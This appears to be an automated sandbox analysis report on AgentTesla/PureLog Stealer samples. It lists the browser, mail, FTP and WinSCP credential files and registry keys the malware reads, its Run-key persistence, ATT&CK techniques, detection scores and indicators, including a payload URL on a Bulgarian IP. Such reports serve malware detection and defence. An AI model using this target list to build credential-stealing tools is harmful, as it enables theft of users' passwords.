Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Doc6078451035.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.Doc6078451035.exe.414ad28.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.506cc28.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.506cc28.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2872467222.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2871736226.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2871964064.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Doc6078451035.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Doc6078451035.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 6016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 3336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 6904, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 2344, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Doc6078451035.exe.414ad28.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.506cc28.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.414ad28.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.506cc28.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2872467222.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2871736226.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2871736226.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2872467222.00000000025F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2871736226.0000000002B8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2872467222.00000000025EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2871964064.000000000323B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2871964064.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2872467222.00000000025FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2871736226.0000000002B9A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2871964064.000000000324A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Doc6078451035.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Doc6078451035.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 6016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 3336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 6904, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 2344, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Doc6078451035.exe.3670a40.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3899260.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.5cc0000.18.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.5cc0000.18.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3899260.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3670a40.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1973327299.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1966878784.0000000003341000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Obfuscated Files or Information	1 Credentials in Registry	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Doc6078451035.exe	34%	ReversingLabs	Win32.Trojan.Leonem
Doc6078451035.exe	48%	Virustotal		Browse
Doc6078451035.exe	100%	Avira	HEUR/AGEN.1327361
Doc6078451035.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Hdoyoyt.exe	100%	Avira	HEUR/AGEN.1327361
C:\Users\user\AppData\Roaming\Hdoyoyt.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Hdoyoyt.exe	34%	ReversingLabs	Win32.Trojan.Leonem
C:\Users\user\AppData\Roaming\Hdoyoyt.exe	48%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
api.ipify.org	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org/	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://github.com/mgravell/protobuf-neti	0%	Virustotal		Browse
http://45.90.58.251	0%	Avira URL Cloud	safe
http://45.90.58.251/01a/Pewvr.mp4	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-net	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-netJ	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-neti	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-netJ	0%	Virustotal		Browse
http://45.90.58.251	1%	Virustotal		Browse
http://45.90.58.251/01a/Pewvr.mp4	1%	Virustotal		Browse
https://github.com/mgravell/protobuf-net	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe URL Reputation: safe	unknown
http://45.90.58.251/01a/Pewvr.mp4	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	Doc6078451035.exe, Hdoyoyt.exe.0.dr	false	URL Reputation: safe	unknown
https://api.ipify.org	Doc6078451035.exe, 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000004.00000002.2871964064.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2872467222.000000000257C000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 0000000A.00000002.2871736226.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	Doc6078451035.exe, Hdoyoyt.exe.0.dr	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-neti	Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1965317713.000000000274F000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1965317713.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.00000000036AF000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.000000000370B000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.000000000346F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	Doc6078451035.exe, 00000000.00000002.1965317713.000000000255E000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000004135000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2451731100.0000000005057000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003518000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2866025908.000000000017D000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	Doc6078451035.exe, Hdoyoyt.exe.0.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Doc6078451035.exe, Hdoyoyt.exe.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.sectigo.com0	Hdoyoyt.exe.0.dr	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	Doc6078451035.exe, Hdoyoyt.exe.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	Doc6078451035.exe, Hdoyoyt.exe.0.dr	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-net	Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Doc6078451035.exe, Hdoyoyt.exe.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://45.90.58.251	Doc6078451035.exe, 00000000.00000002.1965317713.0000000002341000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.000000000330B000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ipify.org/t	Doc6078451035.exe, 00000004.00000002.2871964064.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2872467222.000000000257C000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 0000000A.00000002.2871736226.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Doc6078451035.exe, 00000000.00000002.1965317713.0000000002341000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000004.00000002.2871964064.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.000000000330B000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000008.00000002.2872467222.000000000257C000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 0000000A.00000002.2871736226.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
45.90.58.251	unknown	Bulgaria	204957	GREENFLOID-ASUA	false
162.254.34.31	unknown	United States	64200	VIVIDHOSTINGUS	true
172.67.74.152	unknown	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467974
Start date and time:	2024-07-05 07:47:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Doc6078451035.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/4@2/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 96% Number of executed functions: 381 Number of non-executed functions: 24
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Doc6078451035.exe, PID 6828 because it is empty
Execution Graph export aborted for target Hdoyoyt.exe, PID 3336 because it is empty
Execution Graph export aborted for target Hdoyoyt.exe, PID 6016 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:47:51	API Interceptor	40x Sleep call for process: Doc6078451035.exe modified
01:48:37	API Interceptor	108x Sleep call for process: Hdoyoyt.exe modified
06:48:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Hdoyoyt C:\Users\user\AppData\Roaming\Hdoyoyt.exe
06:48:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Hdoyoyt C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	SecuriteInfo.com.Win64.RansomX-gen.22171.1307.exe	Get hash	malicious	Conti, PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	482730621.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	482730621.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Backdoor.Win32.Agent.myuuxz.13708.17224.exe	Get hash	malicious	Bunny Loader	Browse	api.ipify.org/
	lods.cmd	Get hash	malicious	Remcos	Browse	api.ipify.org/
162.254.34.31	MT_0615_60931PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Doc230906103882.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	IMG_067_6331002.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	MT_08312_167027.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	MTQ_05133_1670.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	pvB12I4aus.vbe	Get hash	malicious	AgentTesla	Browse
	MTQ_06341_0056036_016.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
172.67.74.152	242764.exe	Get hash	malicious	Ficker Stealer, Rusty Stealer	Browse	api.ipify.org/?format=wef
	K8mzlntJVN.msi	Get hash	malicious	Unknown	Browse	api.ipify.org/
	stub.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	stub.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SongOfVikings.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	IMG 003.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	msupdate.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	msupdate.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
